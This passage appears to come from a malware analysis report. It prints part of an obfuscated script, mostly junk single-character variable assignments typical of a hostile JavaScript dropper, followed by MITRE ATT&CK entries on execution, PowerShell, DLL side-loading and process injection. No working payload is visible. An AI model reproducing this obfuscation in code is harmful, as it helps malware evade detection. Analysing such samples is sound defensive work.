452	rboahfwv = "j";
453	rboahfwv = "Q";
454	rboahfwv = "l";
455	rboahfwv = "c";
456	rboahfwv = "A";
457	rboahfwv = "I";
458	rboahfwv = "e";
459	rboahfwv = "d";
460	tkgnjj = "w";
461	tkgnjj = "K";
462	tkgnjj = "t";
463	tkgnjj = "A";
464	tkgnjj = "J";
465	tkgnjj = "L";
466	tkgnjj = "f";
467	tkgnjj = "u";
468	tkgnjj = "k";
469	tkgnjj = "U";
470	tkgnjj = "E";
471	tkgnjj = "N";
472	tkgnjj = "P";
473	tkgnjj = "L";
474	tkgnjj = "o";
475	tkgnjj = "R";
476	tkgnjj = "f";
477	tkgnjj = "c";
478	tkgnjj = "v";
479	spjwzr = "F";
480	spjwzr = "q";
481	spjwzr = "Z";
482	spjwzr = "U";
483	spjwzr = "S";
484	spjwzr = "R";
485	spjwzr = "h";
486	spjwzr = "j";
487	spjwzr = "C";
488	spjwzr = "V";
489	spjwzr = "N";
490	spjwzr = "S";
491	spjwzr = "X";
492	spjwzr = "a";
493	spjwzr = "J";
494	spjwzr = "M";
495	spjwzr = "W";
496	spjwzr = "t";
497	spjwzr = "F";
498	kzemx = "O";
499	kzemx = "T";
500	kzemx = "A";
501	kzemx = "F";
502	kzemx = "P";
503	kzemx = "A";
504	kzemx = "h";
505	kzemx = "U";
506	kzemx = "S";
507	kzemx = "f";
508	kzemx = " ";
509	gsabmna = "V";
510	gsabmna = "S";
511	gsabmna = "g";
512	gsabmna = "P";
513	gsabmna = "J";
514	gsabmna = "K";
515	gsabmna = "i";
516	gsabmna = "s";
517	gsabmna = "r";
518	gsabmna = "U";
519	gsabmna = "u";
520	gsabmna = "y";
521	gsabmna = "V";
522	gsabmna = "A";
523	gsabmna = "X";
524	gsabmna = "s";
525	gsabmna = "i";
526	gsabmna = "r";
527	gsabmna = "T";
528	gsabmna = "c";
529	gsabmna = "i";
530	gsabmna = "E";
531	gsabmna = "z";
532	gsabmna = "B";
533	gsabmna = "Q";
534	gsabmna = "B";
535	gsabmna = "f";
536	gsabmna = "X";
537	gsabmna = "b";
538	gsabmna = "w";
539	gsabmna = "r";
540	gsabmna = "x";
541	gsabmna = "w";
542	gsabmna = "G";
543	gsabmna = "v";
544	gsabmna = "Q";
545	gsabmna = "p";
546	gsabmna = "O";
547	gsabmna = "R";
548	gsabmna = "x";
549	gsabmna = "u";
550	nkwnmzhix = "c";
551	nkwnmzhix = "m";
552	nkwnmzhix = "E";
553	nkwnmzhix = "w";
554	nkwnmzhix = "P";
555	nkwnmzhix = "b";
556	nkwnmzhix = "x";
557	nkwnmzhix = "p";
558	nkwnmzhix = "t";
559	nkwnmzhix = "J";
560	nkwnmzhix = "M";
561	nkwnmzhix = "p";
562	nkwnmzhix = "v";
563	nkwnmzhix = "u";
564	nkwnmzhix = "Q";
565	nkwnmzhix = "a";
566	nkwnmzhix = "A";
567	nkwnmzhix = "p";
568	nkwnmzhix = "w";
569	nkwnmzhix = "f";
570	nkwnmzhix = "G";
571	nkwnmzhix = "J";
572	nkwnmzhix = "M";
573	nkwnmzhix = "j";
574	nkwnmzhix = "F";
575	nkwnmzhix = "t";
576	nkwnmzhix = "k";
577	nkwnmzhix = "t";
578	nkwnmzhix = "K";
579	nkwnmzhix = "M";
580	nkwnmzhix = "h";
581	nkwnmzhix = "g";
582	nkwnmzhix = "L";
583	guhex = "I";
584	guhex = "w";
585	guhex = "o";
586	guhex = "O";
587	guhex = "c";
588	guhex = "s";
589	guhex = "Q";
590	guhex = "V";
591	guhex = "S";
592	guhex = "N";
593	guhex = "O";
594	guhex = "W";
595	guhex = "W";
596	guhex = "Y";
597	guhex = "T";
598	guhex = "I";
599	guhex = "V";
600	guhex = "T";
601	guhex = "z";
602	guhex = "X";
603	guhex = "x";
604	guhex = "z";
605	guhex = "e";
606	guhex = "u";
607	guhex = "J";
608	guhex = "I";
609	guhex = "e";
610	guhex = "F";
611	guhex = "x";
612	guhex = "B";
613	guhex = "h";
614	guhex = "C";
615	guhex = "I";
616	guhex = "F";
617	guhex = "g";
618	guhex = "3";
619	pvyco = "u";
620	pvyco = "X";
621	pvyco = "X";
622	pvyco = "X";
623	pvyco = "x";
624	pvyco = "o";
625	pvyco = "B";
626	pvyco = "e";
627	pvyco = "s";
628	pvyco = "k";
629	pvyco = "W";
630	pvyco = "v";
631	pvyco = "k";
632	pvyco = "Y";
633	pvyco = "Z";
634	pvyco = "R";
635	pvyco = "n";
636	byntis = "u";
637	byntis = "L";
638	byntis = "K";
639	byntis = "G";
640	byntis = "V";
641	byntis = "q";
642	byntis = "T";
643	byntis = "N";
644	byntis = "L";
645	byntis = "z";
646	byntis = "e";
647	byntis = "n";
648	byntis = "s";
649	byntis = "p";
650	byntis = "y";
651	byntis = "B";
652	byntis = "b";
653	byntis = "A";
654	byntis = "k";
655	byntis = "O";
656	byntis = "g";
657	byntis = "z";
658	byntis = "V";
659	byntis = "Q";
660	byntis = "V";
661	byntis = "s";
662	byntis = "O";
663	byntis = "O";
664	byntis = "H";
665	byntis = "R";
666	byntis = "i";
667	byntis = "O";
668	byntis = "r";
669	byntis = "X";
670	byntis = "h";
671	byntis = "Z";
672	byntis = "J";
673	byntis = "k";
674	byntis = "r";
675	byntis = "t";
676	byntis = "b";
677	byntis = "j";
678	byntis = "f";
679	byntis = "b";
680	byntis = "4";
681	dzdkx = "M";
682	dzdkx = "h";
683	dzdkx = "h";
684	dzdkx = "C";
685	dzdkx = "T";
686	dzdkx = "H";
687	dzdkx = "K";
688	dzdkx = "y";
689	dzdkx = "T";
690	dzdkx = "K";
691	dzdkx = "v";
692	dzdkx = "e";
693	dzdkx = "G";
694	dzdkx = "N";
695	dzdkx = "u";
696	dzdkx = "T";
697	dzdkx = "B";
698	dzdkx = "s";
699	dzdkx = "K";
700	dzdkx = "r";
701	dzdkx = "S";
702	dzdkx = "N";
703	dzdkx = "t";
704	dzdkx = "H";
705	dzdkx = "q";
706	dzdkx = "M";
707	dzdkx = "n";
708	dzdkx = "s";
709	sztpcml = ".";
710	aknujbkg = "x";
711	aknujbkg = "h";
712	aknujbkg = "L";
713	aknujbkg = "v";
714	aknujbkg = "X";
715	aknujbkg = "m";
716	aknujbkg = "v";
717	aknujbkg = "M";
718	aknujbkg = "y";
719	aknujbkg = "J";
720	aknujbkg = "q";
721	aknujbkg = "u";
722	aknujbkg = "E";
723	aknujbkg = "J";
724	aknujbkg = "k";
725	aknujbkg = "Q";
726	aknujbkg = "f";
727	aknujbkg = "c";
728	aknujbkg = "o";
729	aknujbkg = "Y";
730	aknujbkg = "x";
731	aknujbkg = "X";
732	aknujbkg = "j";
733	aknujbkg = "T";
734	aknujbkg = "R";
735	aknujbkg = "O";
736	aknujbkg = "P";
737	aknujbkg = "k";
738	aknujbkg = "A";
739	aknujbkg = "Y";
740	aknujbkg = "c";
741	dlehqe = "m";
742	dlehqe = "U";
743	dlehqe = "R";
744	dlehqe = "P";
745	dlehqe = "a";
746	dlehqe = "h";
747	dlehqe = "n";
748	dlehqe = "O";
749	dlehqe = "S";
750	dlehqe = "r";
751	dlehqe = "q";
752	dlehqe = "g";
753	dlehqe = "X";
754	dlehqe = "v";
755	dlehqe = "S";
756	dlehqe = "F";
757	dlehqe = "K";
758	dlehqe = "T";
759	dlehqe = "p";
760	dlehqe = "m";
761	dlehqe = "Q";
762	dlehqe = "r";
763	dlehqe = "C";
764	dlehqe = "V";
765	dlehqe = "H";
766	dlehqe = "Z";
767	dlehqe = "X";
768	dlehqe = "L";
769	dlehqe = "j";
770	dlehqe = "K";
771	dlehqe = "X";
772	dlehqe = "s";
773	dlehqe = "n";
774	dlehqe = "Q";
775	dlehqe = "u";
776	dlehqe = "w";
777	dlehqe = "O";
778	dlehqe = "I";
779	dlehqe = "Y";
780	dlehqe = "i";
781	cpqrid = "f";
782	cpqrid = "V";
783	cpqrid = "e";
784	cpqrid = "O";
785	cpqrid = "c";
786	cpqrid = "E";
787	cpqrid = "J";
788	cpqrid = "w";
789	cpqrid = "X";
790	cpqrid = "u";
791	cpqrid = "z";
792	cpqrid = "f";
793	cpqrid = "N";
794	cpqrid = "g";
795	cpqrid = "K";
796	tvylecwes = "r";
797	tvylecwes = "Y";
798	tvylecwes = "n";
799	tvylecwes = "Y";
800	tvylecwes = "B";
801	tvylecwes = "b";
802	tvylecwes = "I";
803	tvylecwes = "L";
804	tvylecwes = "C";
805	tvylecwes = "H";
806	tvylecwes = "l";
807	tvylecwes = "C";
808	tvylecwes = "N";
809	tvylecwes = "X";
810	tvylecwes = "Q";
811	tvylecwes = "%";
812	duvquw = "F";
813	duvquw = "M";
814	duvquw = "m";
815	duvquw = "L";
816	duvquw = "t";
817	duvquw = "1";
818	zknxtfbsu = "N";
819	zknxtfbsu = "a";
820	zknxtfbsu = "A";
821	zknxtfbsu = "P";
822	zknxtfbsu = "l";
823	zknxtfbsu = "k";
824	zknxtfbsu = "J";
825	zknxtfbsu = "d";
826	zknxtfbsu = "O";
827	zknxtfbsu = "k";
828	zknxtfbsu = "l";
829	zknxtfbsu = "O";
830	zknxtfbsu = "p";
831	zknxtfbsu = "b";
832	zknxtfbsu = "G";
833	zknxtfbsu = "w";
834	zknxtfbsu = "g";
835	zknxtfbsu = "U";
836	zknxtfbsu = "o";
837	zknxtfbsu = "c";
838	zknxtfbsu = "w";
839	zknxtfbsu = "A";
840	zknxtfbsu = "o";
841	zknxtfbsu = "W";
842	zknxtfbsu = "C";
843	zknxtfbsu = "r";
844	zknxtfbsu = "Z";
845	zknxtfbsu = "K";
846	zknxtfbsu = "p";
847	zknxtfbsu = "C";
848	zknxtfbsu = "t";
849	betqt = "B";
850	betqt = "y";
851	betqt = "b";
852	betqt = "Z";
853	betqt = "Z";
854	betqt = "p";
855	betqt = "H";
856	betqt = "y";
857	betqt = "H";
858	betqt = "k";
859	betqt = "P";
860	betqt = "b";
861	betqt = "u";
862	betqt = "b";
863	betqt = "v";
864	betqt = "o";
865	betqt = "8";
866	irecdve = "C";
867	irecdve = "p";
868	irecdve = "B";
869	irecdve = "Y";
870	irecdve = "N";
871	irecdve = "j";
872	irecdve = "z";
873	irecdve = "&";
874	qtvcp = "x";
875	qtvcp = "v";
876	qtvcp = "c";
877	qtvcp = "E";
878	qtvcp = "d";
879	qtvcp = "z";
880	qtvcp = "h";
881	qtvcp = "T";
882	qtvcp = "r";
883	qtvcp = "i";
884	qtvcp = "z";
885	qtvcp = "q";
886	qtvcp = "Z";
887	qtvcp = "W";
888	qtvcp = "O";
889	qtvcp = "u";
890	qtvcp = "Q";
891	qtvcp = "T";
892	qtvcp = "R";
893	qtvcp = "R";
894	qtvcp = "C";
895	qtvcp = "U";
896	qtvcp = "Y";
897	qtvcp = "X";
898	qtvcp = "J";
899	qtvcp = "t";
900	qtvcp = "F";
901	qtvcp = "b";
902	qtvcp = "C";
903	qtvcp = "R";
904	qtvcp = "b";
905	qtvcp = "G";
906	qtvcp = "r";
907	qtvcp = "U";
908	qtvcp = "Y";
909	qtvcp = "V";
910	qtvcp = "q";
911	qtvcp = "G";
912	qtvcp = "K";
913	qtvcp = "C";
914	qtvcp = "M";
915	qtvcp = "v";
916	qtvcp = "N";
917	gdjqt = "g";
918	gdjqt = "N";
919	gdjqt = "k";
920	gdjqt = "P";
921	gdjqt = "t";
922	gdjqt = "d";
923	gdjqt = "J";
924	gdjqt = "G";
925	gdjqt = "m";
926	gdjqt = "i";
927	gdjqt = "c";
928	gdjqt = "f";
929	gdjqt = "i";
930	gdjqt = "f";
931	gdjqt = "m";
932	gdjqt = "r";
933	gdjqt = "Q";
934	gdjqt = "E";
935	gdjqt = "h";
936	gdjqt = "z";
937	gdjqt = "n";
938	gdjqt = "q";
939	gdjqt = "Y";
940	gdjqt = "M";
941	gdjqt = "A";
942	gdjqt = "b";
943	gdjqt = "J";
944	gdjqt = "M";
945	gdjqt = "z";
946	gdjqt = "Q";
947	gdjqt = "B";
948	gdjqt = "C";
949	gdjqt = "j";
950	gdjqt = "S";
951	gdjqt = "Y";
952	gdjqt = "p";
953	gdjqt = "s";
954	gdjqt = "_";
955	nnbmx = "A";
956	nnbmx = "q";
957	nnbmx = "n";
958	nnbmx = "I";
959	nnbmx = "T";
960	nnbmx = "B";
961	nnbmx = "Z";
962	nnbmx = "i";
963	nnbmx = "e";
964	nnbmx = "N";
965	nnbmx = "p";
966	nnbmx = "o";
967	nnbmx = "h";
968	nnbmx = "R";
969	nnbmx = "K";
970	nnbmx = "e";
971	nnbmx = "Z";
972	nnbmx = "L";
973	nnbmx = "E";
974	nnbmx = "x";
975	nnbmx = "H";
976	nnbmx = "a";
977	nnbmx = "W";
978	nnbmx = "y";
979	nnbmx = "q";
980	nnbmx = "a";
981	nnbmx = "y";
982	nnbmx = "Y";
983	nnbmx = "U";
984	nnbmx = "q";
985	nnbmx = "B";
986	nnbmx = "a";
987	nnbmx = "S";
988	nnbmx = "s";
989	nnbmx = "S";
990	nnbmx = "I";
991	nnbmx = "y";
992	nnbmx = "s";
993	nnbmx = "9";
994	jxgrs = "C";
995	jxgrs = "Y";
996	jxgrs = "n";
997	jxgrs = "w";
998	jxgrs = "k";
999	jxgrs = "c";
1000	jxgrs = "Y";
1001	hiljqflq = "h";
1002	hiljqflq = "U";
1003	hiljqflq = "B";
1004	hiljqflq = "K";
1005	hiljqflq = "B";
1006	hiljqflq = "j";
1007	hiljqflq = "K";
1008	hiljqflq = "c";
1009	hiljqflq = "i";
1010	hiljqflq = "K";
1011	hiljqflq = "P";
1012	hiljqflq = "f";
1013	hiljqflq = "m";
1014	hiljqflq = "g";
1015	hiljqflq = "R";
1016	hiljqflq = "P";
1017	hiljqflq = "p";
1018	hiljqflq = "i";
1019	hiljqflq = "y";
1020	hiljqflq = "T";
1021	hiljqflq = "S";
1022	vnoxnb = "d";
1023	vnoxnb = "f";
1024	vnoxnb = "v";
1025	vnoxnb = "I";
1026	vnoxnb = "z";
1027	vnoxnb = "e";
1028	vnoxnb = "z";
1029	vnoxnb = "L";
1030	vnoxnb = "z";
1031	vnoxnb = "O";
1032	vnoxnb = "J";
1033	vnoxnb = "R";
1034	vnoxnb = "k";
1035	vnoxnb = "z";
1036	vnoxnb = "u";
1037	vnoxnb = "A";
1038	vnoxnb = "G";
1039	vnoxnb = "M";
1040	vnoxnb = "y";
1041	vnoxnb = "b";
1042	vnoxnb = "V";
1043	vnoxnb = "o";
1044	vnoxnb = "D";
1045	vnoxnb = "b";
1046	vnoxnb = "Q";
1047	vnoxnb = "-";
1048	buakitzbn = "o";
1049	buakitzbn = "r";
1050	buakitzbn = "Q";
1051	buakitzbn = "p";
1052	buakitzbn = "S";
1053	buakitzbn = "k";
1054	buakitzbn = "U";
1055	buakitzbn = "S";
1056	buakitzbn = "J";
1057	buakitzbn = "n";
1058	buakitzbn = "X";
1059	buakitzbn = "F";
1060	buakitzbn = "f";
1061	buakitzbn = "M";
1062	buakitzbn = "b";
1063	buakitzbn = "q";
1064	buakitzbn = "e";
1065	buakitzbn = "S";
1066	buakitzbn = "f";
1067	buakitzbn = "J";
1068	buakitzbn = "q";
1069	buakitzbn = "P";
1070	buakitzbn = "g";
1071	buakitzbn = "N";
1072	buakitzbn = "J";
1073	buakitzbn = "l";
1074	buakitzbn = "E";
1075	buakitzbn = "R";
1076	buakitzbn = "T";
1077	buakitzbn = "C";
1078	buakitzbn = "W";
1079	buakitzbn = "c";
1080	buakitzbn = "Q";
1081	buakitzbn = "Q";
1082	ssmiu = "B";
1083	ssmiu = "k";
1084	ssmiu = "I";
1085	ssmiu = "A";
1086	ssmiu = "U";
1087	ssmiu = "a";
1088	ssmiu = "q";
1089	ssmiu = "p";
1090	ssmiu = "f";
1091	ssmiu = "U";
1092	ssmiu = "V";
1093	ssmiu = "J";
1094	ssmiu = "i";
1095	ssmiu = "u";
1096	ssmiu = "C";
1097	ssmiu = "d";
1098	ssmiu = "l";
1099	ssmiu = "C";
1100	ssmiu = "d";
1101	ssmiu = "t";
1102	ssmiu = "h";
1103	ssmiu = "Z";
1104	ssmiu = "L";
1105	ssmiu = "l";
1106	ssmiu = "s";
1107	ssmiu = "Q";
1108	ssmiu = "B";
1109	ssmiu = "E";
1110	ssmiu = "J";
1111	ssmiu = "I";
1112	ssmiu = "F";
1113	ssmiu = "U";
1114	ssmiu = "C";
1115	ssmiu = "C";
1116	ssmiu = "N";
1117	ssmiu = "t";
1118	ssmiu = "t";
1119	ssmiu = "E";
1120	ssmiu = "Q";
1121	ssmiu = "A";
1122	ssmiu = "R";
1123	ssmiu = "a";
1124	qxiln = "X";
1125	qxiln = "A";
1126	qxiln = "U";
1127	qxiln = "W";
1128	qxiln = "T";
1129	qxiln = "J";
1130	qxiln = "H";
1131	qxiln = "d";
1132	qxiln = "e";
1133	adiyjroc = "V";
1134	adiyjroc = "z";
1135	adiyjroc = "g";
1136	adiyjroc = "D";
1137	adiyjroc = "B";
1138	adiyjroc = "B";
1139	adiyjroc = "K";
1140	adiyjroc = "H";
1141	adiyjroc = "j";
1142	adiyjroc = "m";
1143	adiyjroc = "h";
1144	adiyjroc = "j";
1145	adiyjroc = "w";
1146	adiyjroc = "F";
1147	adiyjroc = "d";
1148	adiyjroc = "R";
1149	adiyjroc = "k";
1150	adiyjroc = "S";
1151	adiyjroc = "O";
1152	adiyjroc = "O";
1153	adiyjroc = "U";
1154	adiyjroc = "k";
1155	adiyjroc = "n";
1156	adiyjroc = "G";
1157	adiyjroc = "w";
1158	adiyjroc = "P";
1159	adiyjroc = "z";
1160	adiyjroc = "l";
1161	adiyjroc = "v";
1162	adiyjroc = "M";
1163	adiyjroc = "f";
1164	adiyjroc = "x";
1165	adiyjroc = "v";
1166	adiyjroc = "a";
1167	adiyjroc = "R";
1168	adiyjroc = "T";
1169	adiyjroc = "m";
1170	adiyjroc = "I";
1171	adiyjroc = "q";
1172	adiyjroc = "d";
1173	adiyjroc = "B";
1174	adiyjroc = "\\";
1175	dtfjme = "G";
1176	dtfjme = "W";
1177	dtfjme = "E";
1178	dtfjme = "k";
1179	dtfjme = "c";
1180	dtfjme = "x";
1181	dtfjme = "F";
1182	dtfjme = "B";
1183	dtfjme = "l";
1184	dtfjme = "J";
1185	dtfjme = "N";
1186	dtfjme = "d";
1187	dtfjme = "Z";
1188	dtfjme = "Q";
1189	dtfjme = "D";
1190	dtfjme = "I";
1191	dtfjme = "Y";
1192	dtfjme = "e";
1193	dtfjme = "w";
1194	dtfjme = ":";
1195	rbfqz = "l";
1196	rbfqz = "L";
1197	rbfqz = "B";
1198	rbfqz = "k";
1199	rbfqz = "R";
1200	rbfqz = "b";
1201	rbfqz = "o";
1202	rbfqz = "a";
1203	rbfqz = "u";
1204	rbfqz = "j";
1205	rbfqz = "c";
1206	rbfqz = "t";
1207	rbfqz = "G";
1208	rbfqz = "Y";
1209	rbfqz = "R";
1210	rbfqz = "l";
1211	rbfqz = "K";
1212	rbfqz = "h";
1213	rbfqz = "l";
1214	rbfqz = "T";
1215	usaynq = "y";
1216	usaynq = "i";
1217	usaynq = "e";
1218	usaynq = "Y";
1219	usaynq = "H";
1220	usaynq = "p";
1221	usaynq = "I";
1222	usaynq = "O";
1223	usaynq = "W";
1224	usaynq = "x";
1225	usaynq = "l";
1226	usaynq = "J";
1227	usaynq = "o";
1228	usaynq = "T";
1229	usaynq = "R";
1230	usaynq = "H";
1231	usaynq = "s";
1232	usaynq = "V";
1233	usaynq = "C";
1234	usaynq = "e";
1235	usaynq = "q";
1236	juhwe = "w";
1237	juhwe = "x";
1238	juhwe = "n";
1239	juhwe = "T";
1240	juhwe = "l";
1241	juhwe = "G";
1242	juhwe = "m";
1243	juhwe = "p";
1244	juhwe = "q";
1245	juhwe = "Y";
1246	juhwe = "H";
1247	juhwe = "M";
1248	juhwe = "Q";
1249	juhwe = "I";
1250	juhwe = "J";
1251	juhwe = "d";
1252	juhwe = "i";
1253	juhwe = "Q";
1254	juhwe = "b";
1255	juhwe = "C";
1256	juhwe = "J";
1257	juhwe = "Z";
1258	juhwe = "v";
1259	juhwe = "s";
1260	juhwe = "g";
1261	juhwe = "w";
1262	juhwe = "U";
1263	juhwe = "p";
1264	juhwe = "E";
1265	juhwe = "F";
1266	juhwe = "R";
1267	juhwe = "f";
1268	juhwe = "g";
1269	juhwe = "M";
1270	juhwe = "Q";
1271	juhwe = "k";
1272	juhwe = "G";
1273	juhwe = "S";
1274	juhwe = "k";
1275	juhwe = "l";
1276	xusgzwcd = "D";
1277	xusgzwcd = "v";
1278	xusgzwcd = "I";
1279	xusgzwcd = "Z";
1280	xusgzwcd = "H";
1281	xusgzwcd = "v";
1282	xusgzwcd = "P";
1283	xusgzwcd = "E";
1284	xusgzwcd = "F";
1285	xusgzwcd = "g";
1286	xusgzwcd = "s";
1287	xusgzwcd = "Z";
1288	xusgzwcd = "C";
1289	exkwrtfcr = "u";
1290	exkwrtfcr = "h";
1291	exkwrtfcr = "Y";
1292	exkwrtfcr = "n";
1293	exkwrtfcr = "E";
1294	exkwrtfcr = "n";
1295	exkwrtfcr = "d";
1296	exkwrtfcr = "e";
1297	exkwrtfcr = "P";
1298	exkwrtfcr = "f";
1299	exkwrtfcr = "a";
1300	exkwrtfcr = "x";
1301	exkwrtfcr = "S";
1302	exkwrtfcr = "W";
1303	exkwrtfcr = "X";
1304	exkwrtfcr = "C";
1305	exkwrtfcr = "M";
1306	exkwrtfcr = "T";
1307	exkwrtfcr = "c";
1308	exkwrtfcr = "k";
1309	exkwrtfcr = "w";
1310	exkwrtfcr = "P";
1311	xoensjrjq = "v";
1312	xoensjrjq = "g";
1313	xoensjrjq = "h";
1314	xoensjrjq = "l";
1315	xoensjrjq = "S";
1316	xoensjrjq = "X";
1317	xoensjrjq = "y";
1318	xoensjrjq = "N";
1319	xoensjrjq = "r";
1320	xoensjrjq = "F";
1321	xoensjrjq = "g";
1322	xoensjrjq = "p";
1323	xoensjrjq = "V";
1324	xoensjrjq = "5";
1325	peciyee = "m";
1326	peciyee = "j";
1327	peciyee = "q";
1328	peciyee = "w";
1329	peciyee = "z";
1330	peciyee = "g";
1331	peciyee = "z";
1332	peciyee = "Y";
1333	peciyee = "b";
1334	peciyee = "H";
1335	peciyee = "h";
1336	jnynf = "L";
1337	jnynf = "r";
1338	jnynf = "O";
1339	jnynf = "z";
1340	jnynf = "T";
1341	jnynf = "b";
1342	jnynf = "i";
1343	jnynf = "x";
1344	jnynf = "V";
1345	jnynf = "a";
1346	jnynf = "h";
1347	jnynf = "j";
1348	jnynf = "P";
1349	jnynf = "h";
1350	jnynf = "n";
1351	jnynf = "p";
1352	kywkouto = "Y";
1353	kywkouto = "z";
1354	kywkouto = "S";
1355	kywkouto = "w";
1356	kywkouto = "M";
1357	kywkouto = "w";
1358	kywkouto = "V";
1359	kywkouto = "s";
1360	kywkouto = "U";
1361	kywkouto = "c";
1362	kywkouto = "l";
1363	kywkouto = "b";
1364	kywkouto = "P";
1365	kywkouto = "B";
1366	kywkouto = "B";
1367	kywkouto = "k";
1368	kywkouto = "u";
1369	kywkouto = "u";
1370	kywkouto = "q";
1371	kywkouto = "r";
1372	kywkouto = "s";
1373	kywkouto = "z";
1374	kywkouto = "b";
1375	kywkouto = "p";
1376	kywkouto = "Y";
1377	kywkouto = "x";
1378	kywkouto = "C";
1379	kywkouto = "u";
1380	kywkouto = "S";
1381	kywkouto = "B";
1382	kywkouto = "S";
1383	kywkouto = "h";
1384	kywkouto = "D";
1385	kywkouto = "t";
1386	kywkouto = "a";
1387	kywkouto = "C";
1388	kywkouto = "Q";
1389	kywkouto = "Y";
1390	kywkouto = "w";
1391	kywkouto = "E";
1392	kywkouto = "u";
1393	kywkouto = "N";
1394	kywkouto = "f";
1395	kywkouto = "l";
1396	kywkouto = "U";
1397	hhwlwkr = "p";
1398	hhwlwkr = "K";
1399	hhwlwkr = "v";
1400	hhwlwkr = "j";
1401	hhwlwkr = "O";
1402	hhwlwkr = "E";
1403	hhwlwkr = "U";
1404	hhwlwkr = "k";
1405	hhwlwkr = "j";
1406	hhwlwkr = "r";
1407	hhwlwkr = "m";
1408	hhwlwkr = "F";
1409	hhwlwkr = "f";
1410	hhwlwkr = "y";
1411	hhwlwkr = "o";
1412	rqpmclpg = "o";
1413	rqpmclpg = "Z";
1414	rqpmclpg = "u";
1415	rqpmclpg = "h";
1416	rqpmclpg = "t";
1417	rqpmclpg = "O";
1418	rqpmclpg = "Y";
1419	rqpmclpg = "S";
1420	rqpmclpg = "T";
1421	rqpmclpg = "h";
1422	rqpmclpg = "R";
1423	rqpmclpg = "j";
1424	rqpmclpg = "X";
1425	rqpmclpg = "j";
1426	rqpmclpg = "N";
1427	rqpmclpg = "u";
1428	rqpmclpg = "U";
1429	rqpmclpg = "T";
1430	rqpmclpg = "w";
1431	rqpmclpg = "x";
1432	rqpmclpg = "Q";
1433	rqpmclpg = "u";
1434	rqpmclpg = "h";
1435	rqpmclpg = "G";
1436	rqpmclpg = "o";
1437	rqpmclpg = "y";
1438	rqpmclpg = "g";
1439	rqpmclpg = "o";
1440	rqpmclpg = "r";
1441	rqpmclpg = "s";
1442	rqpmclpg = "x";
1443	rqpmclpg = "G";
1444	rqpmclpg = "E";
1445	rqpmclpg = "r";
1446	rqpmclpg = "G";
1447	rqpmclpg = "I";
1448	rqpmclpg = "a";
1449	rqpmclpg = "R";
1450	rqpmclpg = "D";
1451	rqpmclpg = "H";
1452	rqpmclpg = "E";
1453	hydyvlutp = "C";
1454	hydyvlutp = "D";
1455	hydyvlutp = "z";
1456	hydyvlutp = "r";
1457	hydyvlutp = "R";
1458	hydyvlutp = "y";
1459	hydyvlutp = "g";
1460	hydyvlutp = "I";
1461	hydyvlutp = "u";
1462	hydyvlutp = "T";
1463	hydyvlutp = "j";
1464	hydyvlutp = "M";
1465	hydyvlutp = "H";
1466	hydyvlutp = "f";
1467	hydyvlutp = "W";
1468	lkkumhn = "L";
1469	lkkumhn = "E";
1470	lkkumhn = "W";
1471	lkkumhn = "K";
1472	lkkumhn = "n";
1473	lkkumhn = "g";
1474	lkkumhn = "z";
1475	lkkumhn = "L";
1476	lkkumhn = "I";
1477	lkkumhn = "x";
1478	lkkumhn = "Y";
1479	lkkumhn = "y";
1480	lkkumhn = "N";
1481	lkkumhn = "i";
1482	lkkumhn = "X";
1483	lkkumhn = "u";
1484	lkkumhn = "c";
1485	lkkumhn = "H";
1486	lkkumhn = "r";
1487	lkkumhn = "Z";
1488	lkkumhn = "n";
1489	lkkumhn = "I";
1490	lkkumhn = "d";
1491	lkkumhn = "P";
1492	lkkumhn = "d";
1493	lkkumhn = "R";
1494	lkkumhn = "O";
1495	lkkumhn = "@";
1496	fruurgz = "f";
1497	giuhkxp ( );	giuhkxp() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
